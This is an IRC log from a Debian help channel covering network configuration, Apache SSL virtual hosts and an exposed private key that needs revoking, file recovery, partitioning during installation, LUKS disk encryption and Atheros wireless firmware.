• 2798[18:20:37] <doublehp> SirLagz: how can 3 different networks offer access to internet ? does not change the rest; you are running 3 concurrent dhclient, all offering a default route
• 2799[18:20:51] <need-help> sure jmcnaught
• 2800[18:20:55] <need-help> 2sec plz
• 2801[18:22:01] <SirLagz> doublehp: eh? only 1 network has access to the internet...though I guess I should set the others with static IP addresses rather than dhclient.
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• 2804[18:22:28] <doublehp> SirLagz: then, your question was ambiguous
• 2805[18:22:39] <SirLagz> doublehp: sorry, however I did clarify later on.
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• 2809[18:23:58] <doublehp> "2 of the networks cannot access the internet while one can." depends if it's a base peace of information, or if it's the problem; if it's a base information, i don't undertand your problem; if it's your issue, then, set the machine as bridge or router between then.
• 2810[18:24:12] <need-help> jmcnaught: replaced-url
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• 2813[18:24:24] <doublehp> SirLagz: also, you don't specify if you are using IPv4 or v6; the solutino varies
• 2814[18:24:26] <SirLagz> doublehp: never mind, I'll just set static IPs. That's probably a better way of configuring this host anyway.
• 2815[18:24:41] <SirLagz> just never got around to looking at this host until now
• 2816[18:24:41] <doublehp> SirLagz: I know cases where static IP make things worse
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• 2826[18:26:28] <SirLagz> doublehp: eh this host should be fine. It's a pretty simple caching host with 3 NICs for 3 networks, that is all.
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• 2832[18:28:08] <jmcnaught> need-help: ummm.. line 74 of your paste in default-ssl it seems that your SSL private key is in your DocumentRoot.. that doesn't look right
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• 2835[18:30:40] <jmcnaught> need-help: going to replaced-url
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• 2840[18:33:40] <doublehp> "Installing new version of config file /etc/network/if-up.d/openssh-server ..." => "Connection to server closed by remote host." ... is there a way to tell sshd to not fire current connexion during service reload ? I use ss since 1999, and Stretch is the first time this occurs to me ...
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• 2842[18:34:58] <doublehp> of course, this made me loose the aptitude update process ...
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• 2849[18:37:51] <jmcnaught> need-help: also if your SSL cert doesn't include both domain names (because you have separate certificates) then you should useing the SSL* directives inside each VirtualHost, not having both rely on the directives in default-ssl
• 2850[18:38:27] <jmcnaught> need-help: replaced-url
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• 2874[18:48:31] <sio_> a few days ago, I wrote some text in a txt file; today i opened the file and noticed it was almost empty and has some gibberish symbols; is there anything I can try to recover it? i checked and my text editor doesn't have a backup
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• 2877[18:49:40] <RoyK> sio_: what does 'file filename.txt' tell you?
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• 2879[18:50:45] <sio_> RoyK: it takes a while and says: filename.txt: UTF-8 Unicode text
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• 2882[18:51:11] <RoyK> sio_: if it's not a secret, could you upload it somewhere?
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• 2884[18:51:38] <RoyK> don't upload stuff like passwords to anyone, mind
• 2885[18:51:39] <sio_> RoyK: the content is just "Â׫|«^¿" right now
• 2886[18:52:01] <RoyK> uh
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• 2892[18:52:28] <RoyK> anything in dmesg? might be a faulty sector or something that slipped the crc check
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• 2894[18:52:51] <RoyK> sio_: does that match the file size? also, which editor are you using?
• 2895[18:52:57] <sio_> RoyK: at first I though I may have left the file open and overwrote it by mistake, but this seems unlikely given the weird characters
• 2896[18:53:26] <sio_> RoyK: kate, filesize is only 4k (i don't know how much 100 lines of text is supposed to take)
• 2897[18:53:40] <RoyK> try vim
• 2898[18:53:41] <RoyK> or emacs
• 2899[18:54:04] <RoyK> they should be better with encoding than most others
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• 2902[18:55:23] <sio_> RoyK: they say the content is the same
• 2903[18:55:29] <sio_> (same as Kate)
• 2904[18:55:38] <RoyK> but... that's not 4k
• 2905[18:55:47] <RoyK> try strings filename.txt
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• 2907[18:56:20] <sio_> RoyK: isn't 4k the minimal size of a file?
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• 2909[18:56:30] <RoyK> there is no minimal filesize
• 2910[18:56:48] <RoyK> but the allocation size is in 4k pages on ext4
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• 2912[18:57:09] <sio_> RoyK: strings gives nothing
• 2913[18:57:27] <sio_> RoyK: but I think I found a somewhat recent version of the file by doing grep on /dev/sda1
• 2914[18:57:36] <RoyK> ok - biab - 0xf00d
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• 2919[18:59:41] <sio_> RoyK: what?
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• 2933[19:08:45] <jmcnaught> need-help: please keep the discussion in the channel. i cannot see your private messages because I'm +g
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• 2938[19:10:55] <need-help> ok jmcnaught
• 2939[19:11:05] <need-help> did you check the paste ?
• 2940[19:11:34] <jmcnaught> need-help: yes. did you see any of my feedback on it?
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• 2943[19:12:13] <need-help> let me see
• 2944[19:12:42] <need-help> I see recent posts on the left
• 2945[19:12:49] <need-help> but no feedback
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• 2949[19:13:51] <jmcnaught> need-help: i highlighted you 4 times in response to the paste
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• 2953[19:14:13] <need-help> here?
• 2954[19:14:19] <need-help> sorry I was AFK
• 2955[19:14:38] <jmcnaught> need-help: should i answer your questions again or are you just going to walk away again?
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• 2957[19:14:53] <RoyK> sio_: food ;)
• 2958[19:14:58] <need-help> I'm here
• 2959[19:15:06] <jmcnaught> need-help: i'm going to private message you about something, cool?
• 2960[19:15:06] <need-help> can u tell me what's wrong plz?
• 2961[19:15:12] <need-help> yes
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• 2963[19:15:21] <sio_> :d
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• 2982[19:22:09] <need-help> 1st I'll delete the SSL vhost
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• 3030[19:41:13] <aqatl> f
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• 3040[19:49:48] <jmcnaught> need-help: did you figure out that other issue?
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• 3087[20:14:41] <need-help> jmcnaught: I'll never fix it I know
• 3088[20:15:05] <need-help> especialy the 301 annoying redirct
• 3089[20:15:16] <need-help> which I didn't even set
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• 3102[20:20:33] <jmcnaught> need-help: part of the problem is that you only enabled https using the /etc/apache2/sites-available/default-ssl virtualhost, when you needed to do that separately for each virtualhost. Then your default-ssl vhost had a different documentroot than either of your other two sites. Also your SSL private key was under your default-ssl's documentroot, and downloadable (so I trust that you have finally revoked
• 3103[20:20:39] <jmcnaught> that certificate)
• 3104[20:21:22] <need-help> so I have to delete SSL vhost to fix it?
• 3105[20:21:34] <jmcnaught> need-help: that's not enough
• 3106[20:21:36] <need-help> is it safe to delete SSL vhsot?
• 3107[20:21:43] <need-help> what else?
• 3108[20:21:49] <jmcnaught> need-help: please for your own sake, revoke that certificate
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• 3113[20:22:17] <jmcnaught> that is your #1 priority right now, then fix your broken apache configuration
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• 3116[20:22:46] <need-help> if I delete it?
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• 3119[20:23:31] <jmcnaught> need-help: you need to revoke it because if anyone else in this channel noticed that the key was public, they can sign/decrypt for your domain's SSL cert until it expires
• 3120[20:23:51] <need-help> damn!!!
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• 3122[20:24:08] <jmcnaught> need-help: please if you don't understand what i mean at least appreciate the urgency i'm trying to communicate, and learn how to revoke your certificate. i've given you pointers and where to ask
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• 3124[20:24:55] <need-help> I'll try my best
• 3125[20:24:59] <need-help> I'll try google
• 3126[20:25:29] <jmcnaught> need-help: it's going to be "certbot revoke" something. ask in #certbot on irc.oftc.net, tell them your private key was publicly accessible and you need to revoke it
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• 3131[20:29:41] <need-help> I'm trying
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• 3139[20:33:09] <jmcnaught> need-help: once you've got the SSL revocation taken care of, you can look at fixing your virtualhost setup
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• 3141[20:33:22] <need-help> ok
• 3142[20:33:30] <need-help> thanks a lot for this advise
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• 3150[20:35:59] <jmcnaught> need-help: my advice is something like: stop using default-ssl, use the SSLEngine On etc directive in each virtualhost. for the redirect, check all of your apache configures, "grep -ir redirect /etc/apache2" for example, and in .htaccess files if AllowOverride is used somewhere. And make sure that certbot stops putting certificates and keys in your /var/replaced-url
• 3151[20:36:05] <jmcnaught> pt or /etc/ssl. the private key should ...
• 3152[20:36:07] <jmcnaught> ... be owned by root:ssl-cert and have permissions 640
• 3153[20:36:12] <jmcnaught> need-help: i've got to go, good luck
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• 3162[20:39:54] <need-help> jmcnaught: are you still there?
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• 3167[20:41:13] <doublehp> "Installing new version of config file /etc/network/if-up.d/openssh-server ..." => "Connection to server closed by remote host." ... is there a way to tell sshd to not fire current connexion during service reload ? I use ss since 1999, and Stretch is the first time this occurs to me ...
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• 3169[20:41:56] <jelly> doublehp: it shouldn't do that. Check for bug reports and file one if it's not there already
• 3170[20:42:39] <jelly> probably deserves RC-level priority
• 3171[20:43:05] <jelly> also,
• 3172[20:43:07] <jelly> !debian-next
• 3173[20:43:08] <dpkg> #debian-next is the channel for testing/unstable support on the OFTC network (irc.oftc.net), *not* on Freenode. If you get "Cannot join #debian-next (Channel is invite only)." it means you did not read it's on irc.oftc.net.
• 3174[20:43:21] <doublehp> jelly: I wait for package maintainers to fix critical bugs before filling low importance ones
• 3175[20:44:11] <jelly> if noone files it, it won't be fixed at all. The maintainer can decide about priorities and what gets fixed first
• 3176[20:45:51] <doublehp> jelly: as user, i want critical bugs to be fixed before boring them with low priority
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• 3178[20:47:01] <jelly> hey, if losing access to a remote machine in the middle of an upgrade is low priority, so be it
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• 3180[20:47:41] <doublehp> less than 3% bgs I reported have ever been fixed; so, I will probably not take the time to report such minor details
• 3181[20:48:09] <doublehp> yes, it is; service not starting at all is much more improtant.
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• 3183[20:49:01] * jelly shrugs
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• 3188[20:50:40] <doublehp> jelly: replaced-url
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• 3192[20:51:47] <doublehp> "aptitude install openssh-server" => "openssh-server is already installed at the requested version (1:7.3p1-1)"
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• 3195[20:54:08] <jelly> doublehp: ask in the right channel for stretch
• 3196[20:54:24] <jelly> and do try to use a pastebin with less ads
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• 3200[20:55:25] <doublehp> i use Add blocker since 10y; I never saw any add on this site
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• 3203[20:56:35] <hiyo> Hello I am trying to update my debian system but it is having trouble connecting to the mirrors
• 3204[20:56:55] <jelly> doublehp: it's full of crap. paste.debian.net isn't
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• 3244[21:14:59] <davidl> as in installing Debian 8 on a virtual machine guest should work with networking etc?
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• 3271[21:28:53] <Namo_> Hello everyone, I'm trying to install Debian Jessie, but at the partition step, I get an error saying that the swap partition could not be created. Does anyone have a suggestion ?
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• 3296[21:42:11] <dutchfish> Namo_, did you choose the manual option for partitioning? if so, leave room for the swap partition, something in th eorder of twice the amount of memory in the system.
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• 3299[21:42:53] <dutchfish> Namo_, and confirgure that space as a swap partition
• 3300[21:43:10] <Namo_> I chose assisted partitionning.
• 3301[21:43:45] <dutchfish> Namo_, and there is free space on the disk (non-partioned)?
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• 3303[21:44:09] <Namo_> The disk is currently under windows.
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• 3305[21:44:27] <Namo_> I'm trying to install debian instead.
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• 3308[21:45:40] <Namo_> So I don't there is non-partitionned space left.
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• 3310[21:45:51] <Namo_> I don't think*
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• 3314[21:46:25] <dutchfish> Namo_, so you want windows to be replaced, or a multiboot install (windows/debian)?
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• 3317[21:46:50] <Namo_> dutchfish: I want it to be replaced.
• 3318[21:47:10] <Namo_> dutchfish: By a single debian partition.
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• 3322[21:48:01] <dutchfish> Namo_, then you can choose manual partioning and remove the windows partitioning then create a root partition / and a swap partition
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• 3327[21:48:53] <dutchfish> Namo_, i dont believe the guided partion will remove excisting partitions, but shrink them if possible
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• 3333[21:51:39] <cruncher> dutchfish, yes, the guided partitioning will delete the windows partitions
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• 3335[21:52:06] <Namo_> The problem doesn't seems to be the windows partition, because the debian setup already plan to format and shrink the existing partition.
• 3336[21:52:28] <Namo_> Just as cruncher said.
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• 3341[21:53:14] <cruncher> shrink? what version/cd are you using?
• 3342[21:53:16] <Namo_> dutchfish: Or maybe I'm misunderstanding your question...?
• 3343[21:54:35] <cruncher> you can shrink it with manual partitioning, but not guided
• 3344[21:54:54] <cruncher> Namo_, anyway, as dutchfish suggested
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• 3350[21:56:29] <Dat> how can I encrypt a lv i am going to add to my system?
• 3351[21:56:35] <cruncher> namo, press ctrl+f4, and see if you can see any messages regarding the swap parition
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• 3353[21:56:50] <cruncher> Namo_, ^^
• 3354[21:58:01] <Namo_> Ok..
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• 3356[21:58:15] <Dat> cryptsetup luksAddKey /dev/xxx <--- after I get everything added?
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• 3359[22:01:43] <Namo_> I'm confused. When I go to the partitioning step of the installation, I see directly the changes that will be done, but not what's and how the current partitions are. (Not sure if I'm being clear, sorry.)
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• 3363[22:03:26] <cruncher> Namo_, yes, you shoudl see that, you select "guided...", then select the disk, then partitioning scheme, and now you can see the partitions like they will be written
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• 3367[22:04:24] <cruncher> Dat, thats not the first step
• 3368[22:04:32] <Namo_> Yes, that's what I get.
• 3369[22:04:39] <cruncher> and what you mean by "everythin gadded"
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• 3372[22:06:53] <cruncher> Dat, and i dont think you want to add another key to accomplish that
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• 3374[22:07:10] <cruncher> Dat, what you probably want to do first is cryptsetup luksFormat
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• 3381[22:08:25] <cruncher> Namo_, then what do you mean by "whats and how the current partitions are"?
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• 3385[22:09:12] <cruncher> you mean before you started the installer? it did show the windows layout after you rpessed "Parition Disks"
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• 3387[22:09:24] <Namo_> cruncher: Forget that, I misexpressed myself.
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• 3389[22:09:30] <Namo_> cruncher: Ok, so I set the partition table of the disk to "free space".
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• 3391[22:09:59] <Dat> cruncher: i have debian installed already I am adding space to the system and want to encrypt that portion
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• 3393[22:10:25] <Dat> i'd also like to mount the space to a special directory
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• 3395[22:10:42] <cruncher> Dat, by adding space you mean you add another harddisk or want to configure an empty partition?
• 3396[22:10:43] <Dat> or I guess I could just extend it to the vg not sure what is best
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• 3398[22:10:55] <Dat> cruncher: add another hard disk
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• 3400[22:11:07] <cruncher> Dat, if you ahave already luks and lvm in place, you could extend it, yes, why not
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• 3402[22:11:17] <Namo_> cruncher: Do i have to press continue to whipe windows away and then return to that step (if it's possible) and install the wanted partitions ?
• 3403[22:12:03] <Dat> cruncher: okay so add the disk pvcreate it extend it and then cryptsetup luksFormat /dev/newdisk?
• 3404[22:12:07] <cruncher> Dat, then as i suggested, partition the hd and use cryptsetup luksFormat. But you'll have to look it up for the parameters
• 3405[22:12:52] <cruncher> Namo_, you are doing it manually now? not guided?
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• 3408[22:14:48] <Dat> ok thx
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• 3413[22:17:06] <Namo_> cruncher: Yes, I think I was in manual mode already without knowing it. Sorry I'm a beginner in UNIX distributions and systems.
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• 3416[22:17:35] <cruncher> Namo_, you are loosing me :) but anyway, as for your question, if doing manually: you just select each of the windows partition and press Enter, select "delete the partition", then select the free sapce, and partition it as wanted
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• 3418[22:18:39] <cruncher> so no, you dont have to go back to the same menu
• 3419[22:18:42] <cruncher> Namo_, dont worry :
• 3420[22:18:45] <cruncher> :)
• 3421[22:19:11] <Namo_> cruncher: Well I currently am at the free space disk of your explaination.
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• 3426[22:19:58] <Namo_> cruncher: So it has to be a primary partition I guess ?
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• 3430[22:21:48] <cruncher> Namo_, if you have no knowledge of partitions etc, i suggest you read about it first, or select guided partitioning first
• 3431[22:22:18] <Namo_> Ok.
• 3432[22:22:48] <cruncher> Namo_, just to be sure you have a good result
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• 3438[22:23:37] <cruncher> Namo_, you can also select "guided", then at the next possibilty you select "Go back", select "partition disks" again and see what has been automatically done
• 3439[22:23:45] <ewew> Hi. I noticed something strange in variable tty on pam_succeed_if.so. The contents of tty is login. Is this normal behaviour ?
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• 3442[22:26:12] <Namo_> Ok, I did so, and it shows a big primary partition with root, and a small partition with swap.
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• 3447[22:26:50] <cruncher> Namo_, and thats not liek you wanted? that is the "recommended for new users" scheme
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• 3449[22:28:01] <Namo_> Yes indeed. But it's at the next step where I get the problem.
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• 3452[22:30:23] <Namo_> cruncher: "Partitions have been written, but we have been unable to inform the kernel of the changes, probably because they are in use. As a result, old partition will remain in use. You should reboot now before making further changes.""
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• 3455[22:32:54] <cruncher> Namo_, yeah, that happens sometimes under specific circumstances, best is to reboot and restart installation
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• 3457[22:34:20] <Namo_> Oh, ok. I will do that. I will tell you if it worked.
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• 3489[22:42:24] <Namo_> cruncher: I get "BootDevice Not Found" when I start the computer now.
• 3490[22:42:50] <cruncher> Namo_, how did you boot the installer before? do it the same way
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• 3494[22:43:50] <ewew> Anyone ?
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• 3502[22:46:03] <Namo_> cruncher: With the USB device. I'm doing it at the moment. But it says "get off the disk" "press any key to restart". And USB boot device is in first in boot order, I checked.
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• 3504[22:46:23] <cruncher> Namo_, im afraid you might have deleted the partitions on the usb stick
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• 3508[22:47:20] <dvs> !!!
• 3509[22:47:20] <dpkg> I'm not your csh prompt!
• 3510[22:47:24] <Namo_> cruncher: So I can created again like I formerly did so (with unetBootin) ?
• 3511[22:47:29] <cruncher> Namo_, yes
• 3512[22:47:41] <Namo_> cruncher: Ok, not so bad...
• 3513[22:47:51] <dvs> !unetbootin
• 3514[22:47:51] <dpkg> UNetbootin (Universal Netboot Installer) allows creation of bootable USB drives for a variety of Linux distributions. replaced-url
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• 3516[22:48:01] <cruncher> i know... i hope you didnt have more partitions attached to that computer and selected them to be deleted
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• 3519[22:49:39] <Namo_> cruncher: I only had the one with windows, and it was unused yet.
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• 3617[23:44:06] <luxio> Is there an install ISO that has Atheros drivers?
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• 3624[23:45:31] <TomTomTo1> !firmware iso
• 3625[23:45:31] <dpkg> Unofficial <netinst> images - containing non-free Debian <firmware> packages - for installing Debian 8 "Jessie" are available from replaced-url
• 3626[23:45:37] <TomTomTo1> ^ this should have it.
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• 3630[23:47:54] <luxio> TomTomTo1: Atheros isn't nonfree
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• 3632[23:48:16] <TomTomTo1> firmware-atheros is non-free
• 3633[23:48:44] <themill> Do it depends on which "atheros drivers" you need
• 3634[23:48:45] <luxio> what? really?
• 3635[23:48:49] <themill> s/D/S/
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• 3637[23:49:02] <TomTomTo1> free as in freedom, it's still gratis.
• 3638[23:49:15] <luxio> yeah I know
• 3639[23:49:32] <luxio> I bought the atheros USB because I thought the firmware was free software thouigh
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• 3641[23:50:12] <TomTomTo1> it might be, you would have to tell us which one exactly you have.
• 3642[23:50:22] <luxio> AR9271
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• 3655[23:55:09] <themill> !AR9271
• 3656[23:55:10] <dpkg> ath9k_htc is a Linux kernel driver for Atheros AR9271 and AR7010-based 802.11n USB wireless LAN devices, introduced in Linux 2.6.35. Firmware is required, ask me about <atheros firmware> to provide. replaced-url
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• 3658[23:56:10] <TomTomTo1> open firmware for ath9k_htc does exist. i don't think it's packaged yet, though.
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